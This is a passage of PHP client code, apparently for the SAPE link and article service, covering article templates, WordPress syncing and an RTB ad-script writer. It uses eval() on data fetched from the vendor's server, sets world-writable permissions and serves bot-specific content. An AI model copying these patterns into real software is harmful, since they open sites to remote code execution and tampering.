            return dirname(__FILE__) . '/words.meta.db';
        }
    }

    protected function _get_dispenser_path()
    {
        return '/code_context.php?user=' . _SAPE_USER . '&host=' . \$this->_host;
    }

    protected function _set_data(\$data)
    {
        \$this->_words = \$data;
        if (@array_key_exists(\$this->_request_uri, \$this->_words) && is_array(\$this->_words[\$this->_request_uri])) {
            \$this->_words_page = \$this->_words[\$this->_request_uri];
        }

        //Есть ли обязательный вывод
        if (isset(\$this->_words['__sape_page_obligatory_output__'])) {
            \$this->_page_obligatory_output = \$this->_words['__sape_page_obligatory_output__'];
        }
    }

    protected function _uncode_data(\$data)
    {
        if (\$this->_format == 'php-require') {
            \$data1 = str_replace('<?php return ', '', \$data);
            eval('\$data = ' . \$data1 . ';');
            return \$data;
        }

        return @unserialize(\$data);
    }

    protected function _code_data(\$data)
    {
        if (\$this->_format == 'php-require') {
            return var_export(\$data, true);
        }

        return @serialize(\$data);
    }

    protected function _save_data(\$data, \$filename = '')
    {
        if (\$this->_split_data_file) {
            \$directory = dirname(__FILE__) . '/';
            \$hashArray = array();
            \$data = \$this->_uncode_data(\$data);
            foreach (\$data as \$url => \$item) {
                if (preg_match('/\_\_.+\_\_/mu', \$url)) {
                    \$currentFile = 'words.meta.db';
                } else {
                    \$currentFile = 'words.' . crc32(\$url) % 100 . '.db';
                }
                if (\$this->_multi_site) {
                    \$currentFile = \$this->_host . '.' . \$currentFile;
                }
                \$hashArray[\$currentFile][\$url] = \$item;
            }
            foreach (\$hashArray as \$file => \$array) {
                \$this->_write(\$directory . \$file, \$this->_code_data(\$array));
            }
            if (!isset(\$hashArray[basename(\$filename)])) {
                parent::_save_data('', \$filename);
            }
        } else {
            parent::_save_data(\$data, \$filename);
        }
    }
}

/**
 * Класс для работы со статьями articles.sape.ru показывает анонсы и статьи
 */
class SAPE_articles extends SAPE_base
{
    const INTEGRATION_TYPE_WORDPRESS = 2;

    protected \$_request_mode;

    protected \$_server_list = array('dispenser.articles.sape.ru');

    protected \$_data = array();

    protected \$_article_id;

    protected \$_save_file_name;

    protected \$_announcements_delimiter = '';

    protected \$_images_path;

    protected \$_template_error = false;

    protected \$_noindex_code = '<!--sape_noindex-->';

    protected \$_headers_enabled = false;

    protected \$_mask_code;

    protected \$_real_host;

    protected \$_user_agent = 'SAPE_Articles_Client PHP';

    public function __construct(\$options = null)
    {
        parent::__construct(\$options);
        if (is_array(\$options) && isset(\$options['headers_enabled'])) {
            \$this->_headers_enabled = \$options['headers_enabled'];
        }
        // Кодировка
        if (isset(\$options['charset']) && strlen(\$options['charset'])) {
            \$this->_charset = \$options['charset'];
        } else {
            \$this->_charset = '';
        }
        \$this->_get_index();
        if (!empty(\$this->_data['index']['announcements_delimiter'])) {
            \$this->_announcements_delimiter = \$this->_data['index']['announcements_delimiter'];
        }
        if (!empty(\$this->_data['index']['charset'])
            and !(isset(\$options['charset']) && strlen(\$options['charset']))
        ) {
            \$this->_charset = \$this->_data['index']['charset'];
        }
        if (is_array(\$options)) {
            if (isset(\$options['host'])) {
                \$host = \$options['host'];
            }
        } elseif (strlen(\$options)) {
            \$host    = \$options;
            \$options = array();
        }
        if (isset(\$host) && strlen(\$host)) {
            \$this->_real_host = \$host;
        } else {
            \$this->_real_host = \$_SERVER['HTTP_HOST'];
        }
        if (!isset(\$this->_data['index']['announcements'][\$this->_request_uri])) {
            \$this->_correct_uri();
        }
        \$this->_split_data_file = false;
    }

    protected function _correct_uri()
    {
        if (substr(\$this->_request_uri, -1) == '/') {
            \$new_uri = substr(\$this->_request_uri, 0, -1);
        } else {
            \$new_uri = \$this->_request_uri . '/';
        }
        if (isset(\$this->_data['index']['announcements'][\$new_uri])) {
            \$this->_request_uri = \$new_uri;
        }
    }

    /**
     * Возвращает анонсы для вывода
     *
     * @param int \$n      Сколько анонсов вывести, либо не задано - вывести все
     * @param int \$offset C какого анонса начинаем вывод(нумерация с 0), либо не задано - с нулевого
     *
     * @return string
     */
    public function return_announcements(\$n = null, \$offset = 0)
    {
        \$output = '';
        if (\$this->_force_show_code || \$this->_is_our_bot) {
            if (isset(\$this->_data['index']['checkCode'])) {
                \$output .= \$this->_data['index']['checkCode'];
            }
        }

        if (false == \$this->_show_counter_separately) {
            \$output .= \$this->_return_obligatory_page_content();
        }

        if (isset(\$this->_data['index']['announcements'][\$this->_request_uri])) {

            \$total_page_links = count(\$this->_data['index']['announcements'][\$this->_request_uri]);

            if (!is_numeric(\$n) || \$n > \$total_page_links) {
                \$n = \$total_page_links;
            }

            \$links = array();

            for (\$i = 1; \$i <= \$n; \$i++) {
                if (\$offset > 0 && \$i <= \$offset) {
                    array_shift(\$this->_data['index']['announcements'][\$this->_request_uri]);
                } else {
                    \$links[] = array_shift(\$this->_data['index']['announcements'][\$this->_request_uri]);
                }
            }

            \$html = join(\$this->_announcements_delimiter, \$links);

            if (\$this->_is_our_bot) {
                \$html = '<sape_noindex>' . \$html . '</sape_noindex>';
            }

            \$output .= \$html;
        }

        return \$output;
    }

    /**
     * Основной метод при работе в режиме интеграции с CMS Wordpress
     *
     * @param \$newArticles
     * @param \$updateArticles
     * @param \$deletedArticles
     * @param \$upload_base_dir
     */
    public function wp_process(&\$newArticles, &\$updateArticles, &\$deletedArticles, \$upload_base_dir)
    {
        // Инициализация файла работы с WordPress
        \$this->_wp_init();

        if ((int)\$this->_data['index']['integration_type'] == self::INTEGRATION_TYPE_WORDPRESS) {
            // Список статей на диспенсере
            \$dispenserArticles = array();
            if (isset(\$this->_data['index']['articles'])) {
                foreach (\$this->_data['index']['articles'] as \$article) {
                    \$dispenserArticles[(int)\$article['id']] = array(
                        'id'           => (int)\$article['id'],
                        'date_updated' => (int)\$article['date_updated']
                    );
                }
            }

            // Список статей из WordPress-а
            \$wpArticles = \$this->_data['wp'];

            \$dispenserArticleIds = array_keys(\$dispenserArticles);
            \$wpArticleIds        = array_keys(\$wpArticles);
            \$unionArticlesIds    = array_merge(\$dispenserArticleIds, \$wpArticleIds);

            foreach (\$unionArticlesIds as \$articleId) {
                // Новые статьи
                if (in_array(\$articleId, \$dispenserArticleIds) && !in_array(\$articleId, \$wpArticleIds)) {
                    \$this->_load_wp_article(\$dispenserArticles[\$articleId]);

                    \$newArticles[\$articleId] = array(
                        'id'          => (int)\$articleId,
                        'title'       => \$this->_data['article']['title'],
                        'keywords'    => \$this->_data['article']['keywords'],
                        'description' => \$this->_data['article']['description'],
                        'body'        => \$this->_data['article']['body'],
                    );
                }

                // Существующие статьи
                if (in_array(\$articleId, \$dispenserArticleIds) && in_array(\$articleId, \$wpArticleIds)) {
                    \$this->_load_wp_article(\$dispenserArticles[\$articleId]);

                    if (
                        \$this->_data['article']['title'] != \$this->_data['wp'][\$articleId]['wp_post_title']
                        ||
                        \$this->_data['article']['body'] != \$this->_data['wp'][\$articleId]['wp_post_content']
                    ) {
                        \$updateArticles[\$articleId] = array(
                            'id'          => (int)\$articleId,
                            'wp_post_id'  => \$this->_data['wp'][\$articleId]['wp_post_id'],
                            'title'       => \$this->_data['article']['title'],
                            'keywords'    => \$this->_data['article']['keywords'],
                            'description' => \$this->_data['article']['description'],
                            'body'        => \$this->_data['article']['body'],
                        );
                    }
                }

                // Снятые статьи
                if (!in_array(\$articleId, \$dispenserArticleIds) && in_array(\$articleId, \$wpArticleIds)) {
                    \$deletedArticles[\$articleId] = array(
                        'id'         => (int)\$articleId,
                        'wp_post_id' => (int)\$wpArticles[\$articleId]['wp_post_id']
                    );
                }
            }

            // Работа с изображениями
            if (isset(\$this->_data['index']['images'])) {
                foreach (\$this->_data['index']['images'] as \$image_uri => \$image_meta) {
                    \$this->_load_wp_image(\$image_uri, \$image_meta['article_id'], \$upload_base_dir);
                }
            }
        }
    }

    /**
     * Массив идентификаторов постов движка Wordpress,
     * которые были созданы в режиме интеграции
     *
     * @return array
     */
    public function wp_get_post_ids()
    {
        \$wpPostIds = array();

        // Инициализация файла работы с WordPress
        \$this->_wp_init();

        // Список статей из WordPress-а
        \$wpArticles = \$this->_data['wp'];

        foreach (\$wpArticles as \$wpArticle) {
            \$wpPostIds[] = (int)\$wpArticle['wp_post_id'];
        }

        return \$wpPostIds;
    }

    /**
     * Сохранение информации о постах движка Wordpress,
     * которые были созданы в режиме интеграции
     *
     * @param        \$posts
     * @param string \$mode
     */
    public function wp_save_local_db(\$posts, \$mode = 'add')
    {
        if (isset(\$posts) && is_array(\$posts)) {
            \$this->_save_file_name = 'articles.wp.db';
            \$this->_db_file        = dirname(__FILE__) . '/' . \$this->_host . '.' . \$this->_save_file_name;

            foreach (\$posts as \$articleId => \$post) {
                if (in_array(\$mode, array('add', 'update'))) {
                    \$this->_data['wp'][\$articleId] = \$post;
                }
                if (\$mode == 'delete') {
                    unset(\$this->_data['wp'][\$articleId]);
                }
            }

            \$this->_save_data(serialize(\$this->_data['wp']), \$this->_db_file);
        }
    }

    /**
     * Передача диспенсеру УРЛов размещенных статей,
     * созданных в режиме интеграции
     *
     * @param \$posts
     * @param \$upload_base_url
     */
    public function wp_push_posts(\$posts, \$upload_base_url)
    {
        \$this->_set_request_mode('article');

        if (isset(\$posts) && is_array(\$posts)) {
            foreach (\$posts as \$articleId => \$post) {
                \$this->_article_id = (int)\$articleId;
                \$path              = \$this->_get_dispenser_path();
                \$path_postfix      = '&set_article_url=' . urlencode(\$post['wp_post_url']);
                \$path_postfix      .= '&set_article_image_url=' . urlencode(\$upload_base_url . '/' . (int)\$articleId . '/');

                foreach (\$this->_server_list as \$server) {
                    if (\$data = \$this->_fetch_remote_file(\$server, \$path . \$path_postfix)) {
                        if (substr(\$data, 0, 12) != 'FATAL ERROR:') {
                            break;
                        }
                        \$this->_raise_error(\$data);
                    }
                }
            }

            // Обновляем индекс
            \$this->_save_file_name = 'articles.db';
            unlink(\$this->_get_db_file());
            \$this->_get_index();
        }
    }

    /**
     * Инициализация режима интеграции с CMS Wordpress
     */
    protected function _wp_init()
    {
        \$this->_set_request_mode('wp');
        \$this->_save_file_name = 'articles.wp.db';
        \$this->_load_wp_data();
    }

    protected function _get_index()
    {
        \$this->_set_request_mode('index');
        \$this->_save_file_name = 'articles.db';
        \$this->_load_data();
    }

    /**
     * Возвращает полный HTML код страницы статьи
     * @return string
     */
    public function process_request()
    {
        if (!empty(\$this->_data['index']) and isset(\$this->_data['index']['articles'][\$this->_request_uri])) {
            return \$this->_return_article();
        } elseif (!empty(\$this->_data['index']) and isset(\$this->_data['index']['images'][\$this->_request_uri])) {
            return \$this->_return_image();
        } else {
            if (\$this->_is_our_bot) {
                return \$this->_return_html(\$this->_data['index']['checkCode'] . \$this->_noindex_code);
            } else {
                return \$this->_return_not_found();
            }
        }
    }

    protected function _return_article()
    {
        \$this->_set_request_mode('article');
        //Загружаем статью
        \$article_meta          = \$this->_data['index']['articles'][\$this->_request_uri];
        \$this->_save_file_name = \$article_meta['id'] . '.article.db';
        \$this->_article_id     = \$article_meta['id'];
        \$this->_load_data();
        if (false == \$this->_show_counter_separately) {
            \$this->_data[\$this->_request_mode]['body'] = \$this->_return_obligatory_page_content() . \$this->_data[\$this->_request_mode]['body'];
        }

        //Обновим если устарела
        if (!isset(\$this->_data['article']['date_updated']) OR \$this->_data['article']['date_updated'] < \$article_meta['date_updated']) {
            unlink(\$this->_get_db_file());
            \$this->_load_data();
        }

        //Получим шаблон
        \$template = \$this->_get_template(\$this->_data['index']['templates'][\$article_meta['template_id']]['url'], \$article_meta['template_id']);

        //Выведем статью
        \$article_html = \$this->_fetch_article(\$template);

        if (\$this->_is_our_bot) {
            \$article_html .= \$this->_noindex_code;
        }

        return \$this->_return_html(\$article_html);
    }

    /**
     * Загрузка статьи в режиме интеграции CMS Wordpress
     *
     * @param \$article_meta
     */
    protected function _load_wp_article(\$article_meta)
    {
        \$this->_set_request_mode('article');

        //Загружаем статью
        \$this->_save_file_name = (int)\$article_meta['id'] . '.article.db';
        \$this->_article_id     = (int)\$article_meta['id'];
        \$this->_load_data();
        if (false == \$this->_show_counter_separately) {
            \$this->_data[\$this->_request_mode]['body'] = \$this->_return_obligatory_page_content() . \$this->_data[\$this->_request_mode]['body'];
        }

        //Обновим если устарела
        if (!isset(\$this->_data['article']['date_updated']) OR \$this->_data['article']['date_updated'] < \$article_meta['date_updated']) {
            unlink(\$this->_get_db_file());
            \$this->_load_data();
        }
    }

    protected function _prepare_path_to_images()
    {
        \$this->_images_path = dirname(__FILE__) . '/images/';
        if (!is_dir(\$this->_images_path)) {
            // Пытаемся создать папку.
            if (@mkdir(\$this->_images_path)) {
                @chmod(\$this->_images_path, 0777);    // Права доступа
            } else {
                return \$this->_raise_error('Нет папки ' . \$this->_images_path . '. Создать не удалось. Выставите права 777 на папку.');
            }
        }
        if (\$this->_multi_site) {
            \$this->_images_path .= \$this->_host . '.';
        }

        return true;
    }

    /**
     * Создание папки для хранения изображений статьи
     * в режиме интеграции с CMS Wordpress
     *
     * @param \$article_id
     * @param \$upload_base_dir
     *
     * @return bool
     */
    protected function _prepare_wp_path_to_images(\$article_id, \$upload_base_dir)
    {
        \$this->_images_path = \$upload_base_dir . '/' . (int)\$article_id . '/';

        if (!is_dir(\$this->_images_path)) {
            // Пытаемся создать папку.
            if (@mkdir(\$this->_images_path)) {
                @chmod(\$this->_images_path, 0777);    // Права доступа
            } else {
                return \$this->_raise_error('Нет папки ' . \$this->_images_path . '. Создать не удалось. Выставите права 777 на папку.');
            }
        }

        return true;
    }

    protected function _return_image()
    {
        \$this->_set_request_mode('image');
        \$this->_prepare_path_to_images();

        //Проверим загружена ли картинка
        \$image_meta = \$this->_data['index']['images'][\$this->_request_uri];
        \$image_path = \$this->_images_path . \$image_meta['id'] . '.' . \$image_meta['ext'];

        if (!is_file(\$image_path) or filemtime(\$image_path) != \$image_meta['date_updated']) {
            // Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            @touch(\$image_path, \$image_meta['date_updated']);

            \$path = \$image_meta['dispenser_path'];

            foreach (\$this->_server_list as \$server) {
                if (\$data = \$this->_fetch_remote_file(\$server, \$path)) {
                    if (substr(\$data, 0, 12) == 'FATAL ERROR:') {
                        \$this->_raise_error(\$data);
                    } else {
                        // [псевдо]проверка целостности:
                        if (strlen(\$data) > 0) {
                            \$this->_write(\$image_path, \$data);
                            break;
                        }
                    }
                }
            }
            @touch(\$image_path, \$image_meta['date_updated']);
        }

        unset(\$data);
        if (!is_file(\$image_path)) {
            return \$this->_return_not_found();
        }
        \$image_file_meta = @getimagesize(\$image_path);
        \$content_type    = isset(\$image_file_meta['mime']) ? \$image_file_meta['mime'] : 'image';
        if (\$this->_headers_enabled) {
            header('Content-Type: ' . \$content_type);
        }

        return \$this->_read(\$image_path);
    }

    /**
     * Загрузка изображения статьи в режиме
     * интеграции с CMS Wordpress
     *
     * @param \$image_uri
     * @param \$article_id
     * @param \$upload_base_dir
     */
    protected function _load_wp_image(\$image_uri, \$article_id, \$upload_base_dir)
    {
        \$this->_request_uri = \$image_uri;
        \$this->_set_request_mode('image');

        \$this->_prepare_wp_path_to_images(\$article_id, \$upload_base_dir);

        //Проверим загружена ли картинка
        \$image_meta = \$this->_data['index']['images'][\$this->_request_uri];
        \$image_path = \$this->_images_path . \$image_meta['filename'];

        if (!is_file(\$image_path) || filemtime(\$image_path) != \$image_meta['date_updated']) {
            // Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            @touch(\$image_path, \$image_meta['date_updated']);

            \$path = \$image_meta['dispenser_path'];
            foreach (\$this->_server_list as \$server) {
                if (\$data = \$this->_fetch_remote_file(\$server, \$path)) {
                    if (substr(\$data, 0, 12) == 'FATAL ERROR:') {
                        \$this->_raise_error(\$data);
                    } else {
                        // [псевдо]проверка целостности:
                        if (strlen(\$data) > 0) {
                            \$this->_write(\$image_path, \$data);
                            break;
                        }
                    }
                }
            }
            @touch(\$image_path, \$image_meta['date_updated']);
        }
    }

    protected function _fetch_article(\$template)
    {
        if (strlen(\$this->_charset)) {
            \$template = str_replace('{meta_charset}', \$this->_charset, \$template);
        }
        foreach (\$this->_data['index']['template_fields'] as \$field) {
            if (isset(\$this->_data['article'][\$field])) {
                \$template = str_replace('{' . \$field . '}', \$this->_data['article'][\$field], \$template);
            } else {
                \$template = str_replace('{' . \$field . '}', '', \$template);
            }
        }

        return (\$template);
    }

    protected function _get_template(\$template_url, \$templateId)
    {
        //Загрузим индекс если есть
        \$this->_save_file_name = 'tpl.articles.db';
        \$index_file            = \$this->_get_db_file();

        if (file_exists(\$index_file)) {
            \$this->_data['templates'] = unserialize(\$this->_read(\$index_file));
        }


        //Если шаблон не найден или устарел в индексе, обновим его
        if (!isset(\$this->_data['templates'][\$template_url])
            or (time() - \$this->_data['templates'][\$template_url]['date_updated']) > \$this->_data['index']['templates'][\$templateId]['lifetime']
        ) {
            \$this->_refresh_template(\$template_url, \$index_file);
        }
        //Если шаблон не обнаружен - ошибка
        if (!isset(\$this->_data['templates'][\$template_url])) {
            if (\$this->_template_error) {
                return \$this->_raise_error(\$this->_template_error);
            }

            return \$this->_raise_error('Не найден шаблон для статьи');
        }

        return \$this->_data['templates'][\$template_url]['body'];
    }

    protected function _refresh_template(\$template_url, \$index_file)
    {
        \$parseUrl = parse_url(\$template_url);

        \$download_url = '';
        if (\$parseUrl['path']) {
            \$download_url .= \$parseUrl['path'];
        }
        if (isset(\$parseUrl['query'])) {
            \$download_url .= '?' . \$parseUrl['query'];
        }

        \$template_body = \$this->_fetch_remote_file(\$this->_real_host, \$download_url, true);

        //проверим его на корректность
        if (!\$this->_is_valid_template(\$template_body)) {
            return false;
        }

        \$template_body = \$this->_cut_template_links(\$template_body);

        //Запишем его вместе с другими в кэш
        \$this->_data['templates'][\$template_url] = array('body' => \$template_body, 'date_updated' => time());
        //И сохраним кэш
        \$this->_write(\$index_file, serialize(\$this->_data['templates']));

        return true;
    }

    public function _fill_mask(\$data)
    {
        global \$unnecessary;
        \$len                              = strlen(\$data[0]);
        \$mask                             = str_repeat(\$this->_mask_code, \$len);
        \$unnecessary[\$this->_mask_code][] = array(
            'mask' => \$mask,
            'code' => \$data[0],
            'len'  => \$len
        );

        return \$mask;
    }

    protected function _cut_unnecessary(&\$contents, \$code, \$mask)
    {
        global \$unnecessary;
        \$this->_mask_code                = \$code;
        \$_unnecessary[\$this->_mask_code] = array();
        \$contents                        = preg_replace_callback(\$mask, array(\$this, '_fill_mask'), \$contents);
    }

    protected function _restore_unnecessary(&\$contents, \$code)
    {
        global \$unnecessary;
        \$offset = 0;
        if (!empty(\$unnecessary[\$code])) {
            foreach (\$unnecessary[\$code] as \$meta) {
                \$offset   = strpos(\$contents, \$meta['mask'], \$offset);
                \$contents = substr(\$contents, 0, \$offset)
                    . \$meta['code'] . substr(\$contents, \$offset + \$meta['len']);
            }
        }
    }

    protected function _cut_template_links(\$template_body)
    {
        if (function_exists('mb_internal_encoding') && strlen(\$this->_charset) > 0) {
            mb_internal_encoding(\$this->_charset);
        }
        \$link_pattern    = '~(\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>.*?\</a[^\>]*?\>|\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>|\<area [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>)~si';
        \$link_subpattern = '~\<a |\<area ~si';
        \$rel_pattern     = '~[\s]{1}rel\=["\']{1}[^ "\'\>]*?["\']{1}| rel\=[^ "\'\>]*?[\s]{1}~si';
        \$href_pattern    = '~[\s]{1}href\=["\']{0,1}(http[^ "\'\>]*)?["\']{0,1} {0,1}~si';

        \$allowed_domains   = \$this->_data['index']['ext_links_allowed'];
        \$allowed_domains[] = \$this->_host;
        \$allowed_domains[] = 'www.' . \$this->_host;
        \$this->_cut_unnecessary(\$template_body, 'C', '|<!--(.*?)-->|smi');
        \$this->_cut_unnecessary(\$template_body, 'S', '|<script[^>]*>.*?</script>|si');
        \$this->_cut_unnecessary(\$template_body, 'N', '|<noindex[^>]*>.*?</noindex>|si');

        \$slices = preg_split(\$link_pattern, \$template_body, -1, PREG_SPLIT_DELIM_CAPTURE);
        //Обрамляем все видимые ссылки в noindex
        if (is_array(\$slices)) {
            foreach (\$slices as \$id => \$link) {
                if (\$id % 2 == 0) {
                    continue;
                }
                if (preg_match(\$href_pattern, \$link, \$urls)) {
                    \$parsed_url = @parse_url(\$urls[1]);
                    \$host       = isset(\$parsed_url['host']) ? \$parsed_url['host'] : false;
                    if (!in_array(\$host, \$allowed_domains) || !\$host) {
                        //Обрамляем в тэги noindex
                        \$slices[\$id] = '<noindex>' . \$slices[\$id] . '</noindex>';
                    }
                }
            }
            \$template_body = implode('', \$slices);
        }
        //Вновь отображаем содержимое внутри noindex
        \$this->_restore_unnecessary(\$template_body, 'N');

        //Прописываем всем ссылкам nofollow
        \$slices = preg_split(\$link_pattern, \$template_body, -1, PREG_SPLIT_DELIM_CAPTURE);
        if (is_array(\$slices)) {
            foreach (\$slices as \$id => \$link) {
                if (\$id % 2 == 0) {
                    continue;
                }
                if (preg_match(\$href_pattern, \$link, \$urls)) {
                    \$parsed_url = @parse_url(\$urls[1]);
                    \$host       = isset(\$parsed_url['host']) ? \$parsed_url['host'] : false;
                    if (!in_array(\$host, \$allowed_domains) || !\$host) {
                        //вырезаем REL
                        \$slices[\$id] = preg_replace(\$rel_pattern, '', \$link);
                        //Добавляем rel=nofollow
                        \$slices[\$id] = preg_replace(\$link_subpattern, '\$0rel="nofollow" ', \$slices[\$id]);
                    }
                }
            }
            \$template_body = implode('', \$slices);
        }

        \$this->_restore_unnecessary(\$template_body, 'S');
        \$this->_restore_unnecessary(\$template_body, 'C');

        return \$template_body;
    }

    protected function _is_valid_template(\$template_body)
    {
        foreach (\$this->_data['index']['template_required_fields'] as \$field) {
            if (strpos(\$template_body, '{' . \$field . '}') === false) {
                \$this->_template_error = 'В шаблоне не хватает поля ' . \$field . '.';

                return false;
            }
        }

        return true;
    }

    protected function _return_html(\$html)
    {
        if (\$this->_headers_enabled) {
            header('HTTP/1.x 200 OK');
            if (!empty(\$this->_charset)) {
                header('Content-Type: text/html; charset=' . \$this->_charset);
            }
        }

        return \$html;
    }

    protected function _return_not_found()
    {
        header('HTTP/1.x 404 Not Found');
    }

    protected function _get_dispenser_path()
    {
        switch (\$this->_request_mode) {
            case 'index':
                return '/?user=' . _SAPE_USER . '&host=' .
                    \$this->_host . '&rtype=' . \$this->_request_mode;
                break;
            case 'article':
                return '/?user=' . _SAPE_USER . '&host=' .
                    \$this->_host . '&rtype=' . \$this->_request_mode . '&artid=' . \$this->_article_id;
                break;
            case 'image':
                return \$this->image_url;
                break;
        }
    }

    protected function _set_request_mode(\$mode)
    {
        \$this->_request_mode = \$mode;
    }

    protected function _get_db_file()
    {
        if (\$this->_multi_site) {
            return dirname(__FILE__) . '/' . \$this->_host . '.' . \$this->_save_file_name;
        } else {
            return dirname(__FILE__) . '/' . \$this->_save_file_name;
        }
    }

    protected function _set_data(\$data)
    {
        \$this->_data[\$this->_request_mode] = \$data;
        //Есть ли обязательный вывод
        if (isset(\$data['__sape_page_obligatory_output__'])) {
            \$this->_page_obligatory_output = \$data['__sape_page_obligatory_output__'];
        }
    }

    /**
     * Загрузка данных WordPress
     */
    protected function _load_wp_data()
    {
        \$this->_db_file = dirname(__FILE__) . '/' . \$this->_host . '.' . \$this->_save_file_name;

        if (!file_exists(\$this->_db_file)) {
            // Пытаемся создать файл.
            if (@touch(\$this->_db_file)) {
                @chmod(\$this->_db_file, 0666); // Права доступа
            } else {
                return \$this->_raise_error('Нет файла ' . \$this->_db_file . '. Создать не удалось. Выставите права 777 на папку.');
            }
            \$this->_write(\$this->_db_file, serialize(array()));
        }

        if (!is_writable(\$this->_db_file)) {
            return \$this->_raise_error('Нет доступа на запись к файлу: ' . \$this->_db_file . '! Выставите права 777 на папку.');
        }

        @clearstatcache();

        \$data = \$this->_read(\$this->_db_file);
        \$data = \$this->_uncode_data(\$data);

        \$this->_set_data(\$data);

        return true;
    }

    protected function _get_meta_file()
    {
        return \$this->_get_db_file();
    }
}

/**
 * Класс для работы клиентским кодом rtb.sape.ru
 */
class SAPE_rtb extends SAPE_base
{

    protected \$_site_id = null;

    protected \$_ucode_id = null;

    protected \$_ucode_url = null;

    protected \$_ucode_filename = null;

    protected \$_ucode_places = array();

    protected \$_base_dir = null;

    protected \$_base_url = '/';

    protected \$_proxy_url = null;

    protected \$_data = null;

    protected \$_filename = null;

    protected \$_server_list = array('rtb.sape.ru');

    protected \$_format = false;

    protected \$_split_data_file = false;

    protected \$_return_script_shown = false;

    /**
     * SAPE_rtb constructor.
     *
     * @param array \$options
     */
    public function __construct(\$options = null)
    {
        if (isset(\$options['host'])) {
            \$this->_host = \$options['host'];
        } else {
            \$this->_host = \$_SERVER['HTTP_HOST'];
            \$this->_host = preg_replace('/^http(?:s)?:\/\//', '', \$this->_host);
            \$this->_host = preg_replace('/^www\./', '', \$this->_host);
        }

        if (isset(\$options['ucode_id'])) {
            \$this->_ucode_id = \$options['ucode_id'];
            if (isset(\$options['ucode_filename'])) {
                \$this->_filename = preg_replace('~\.js\$~', '', trim(\$options['ucode_filename'])) . '.js';
            } else {
                \$this->_filename = \$this->_ucode_id . '.js';
            }
            if (isset(\$options['filename'])) {
                \$this->_ucode_filename = preg_replace('~\.js\$~', '', trim(\$options['filename'])) . '.js';
            }
            if (isset(\$options['places'])) {
                \$this->_ucode_places = \$options['places'];
            }
        } elseif (isset(\$options['site_id'])) {
            \$this->_site_id = \$options['site_id'];
            if (isset(\$options['filename']) && \$options['filename']) {
                \$this->_filename = preg_replace('~\.js\$~', '', trim(\$options['filename'])) . '.js';
            } else {
                \$this->_filename = \$this->_site_id . '.js';
            }
        }

        if (\$this->_filename !== null) {
            if (isset(\$options['base_dir'])) {
                \$this->_base_dir = preg_replace('~/\$~', '', trim(\$options['base_dir'])) . '/';
            } else {
                \$this->_base_dir = dirname(dirname(__FILE__)) . '/';
            }

            if (isset(\$options['base_url'])) {
                \$this->_base_url = preg_replace('~/\$~', '', trim(\$options['base_url'])) . '/';
            }

            if (isset(\$options['proxy_url'])) {
                \$this->_proxy_url = strpos(\$options['proxy_url'], '?') === false ? (\$options['proxy_url'] . '?') : (preg_replace('~&^~', '', '&' . \$options['proxy_url'] . '&'));
            } else {
                \$this->_proxy_url = '/proxy.php?';
            }

            \$this->_load_data();
        } else {
            \$this->_load_proxed_url();
        }
    }

    /**
     * Получить имя файла с даными
     *
     * @return string
     */
    protected function _get_db_file()
    {
        if (\$this->_ucode_id) {
            return dirname(__FILE__) . '/rtb.ucode.' . \$this->_ucode_id . '.' . \$this->_host . '.db';
        }

        return dirname(__FILE__) . '/rtb.site.' . \$this->_site_id . '.' . \$this->_host . '.db';
    }

    /**
     * Получить URI к хосту диспенсера
     *
     * @return string
     */
    protected function _get_dispenser_path()
    {
        if (\$this->_ucode_id) {
            return '/dispenser/user/' . _SAPE_USER . '/' . \$this->_ucode_id;
        }

        return '/dispenser/site/' . _SAPE_USER . '/' . \$this->_site_id;
    }

    /**
     * @return bool
     */
    protected function _load_proxed_url()
    {
        \$db_file = dirname(__FILE__) . '/rtb.proxy.db';
        if (!is_file(\$db_file)) {
            if (@touch(\$db_file)) {
                @chmod(\$db_file, 0666); // Права доступа
            } else {
                return \$this->_raise_error('Нет файла ' . \$db_file . '. Создать не удалось. Выставите права 777 на папку.');
            }
        }
        if (!is_writable(\$db_file)) {
            return \$this->_raise_error('Нет доступа на запись к файлу: ' . \$db_file . '! Выставите права 777 на папку.');
        }

        @clearstatcache();

        \$data = \$this->_read(\$db_file);
        if (\$data !== '') {
            \$this->_data['__proxy__'] = \$this->_uncode_data(\$data);
        }

        return true;
    }

    /**
     * Сохранение данных в файл.
     *
     * @param string \$data
     * @param string \$filename
     */
    protected function _save_data(\$data, \$filename = '')
    {
        \$hash = \$this->_uncode_data(\$data);
        if (isset(\$hash['__code__']) && !empty(\$hash['__code__'])) {
            \$this->_save_data_js(\$hash);
        }

        parent::_save_data(\$data, \$filename);
    }

    /**
     * Сохранение данных в js файл.
     *
     * @param array \$data
     */
    protected function _save_data_js(\$data)
    {
        \$code = null;
        if (\$this->_ucode_id) {
            if (!empty(\$data['__sites__'])) {
                \$key = crc32(\$this->_host) . crc32(strrev(\$this->_host));
                if (isset(\$data['__sites__'][\$key])) {
                    \$script = new SAPE_rtb(array('site_id' => \$data['__sites__'][\$key], 'base_dir' => \$this->_base_dir, 'filename' => \$this->_ucode_filename));
                    \$script = \$script->return_script_url();
                    if (!empty(\$script)) {
                        \$code = '(function(w,n,m){w[n]=' . json_encode(\$this->_proxy_url) . ';w[m]=' . json_encode(\$script) . ';})(window,"srtb_proxy","srtb_proxy_site");' . \$data['__code__'];
                    }
                }
            }
        }

        if (\$code === null) {
            \$code = '(function(w,n){w[n]=' . json_encode(\$this->_proxy_url) . ';})(window,"srtb_proxy");' . \$data['__code__'];
        }

        \$this->_write(\$this->_base_dir . \$this->_filename, \$code);
        \$this->_write(dirname(__FILE__) . '/rtb.proxy.db', \$this->_code_data(\$data['__proxy__']));
    }

    /**
     * Сохранить данные, полученные из файла, в объекте
     *
     * @param array \$data
     */
    protected function _set_data(\$data)
    {
        \$this->_data = \$data;
    }

    /**
     * @return string
     */
    protected function return_script_url()
    {
        return '//' . \$this->_host . \$this->_base_url . \$this->_filename . '?t=' . filemtime(\$this->_db_file);
    }

    /**
     * @return string
     */
    public function return_script()
    {
        if (\$this->_return_script_shown === false && !empty(\$this->_data) && !empty(\$this->_data['__code__'])) {
            \$this->_return_script_shown = true;

            \$js = \$this->_base_dir . \$this->_filename;
            if (!(file_exists(\$js) && is_file(\$js))) {
                \$this->_save_data_js(\$this->_data);
            }

            if (\$this->_ucode_places) {
                \$params = '';
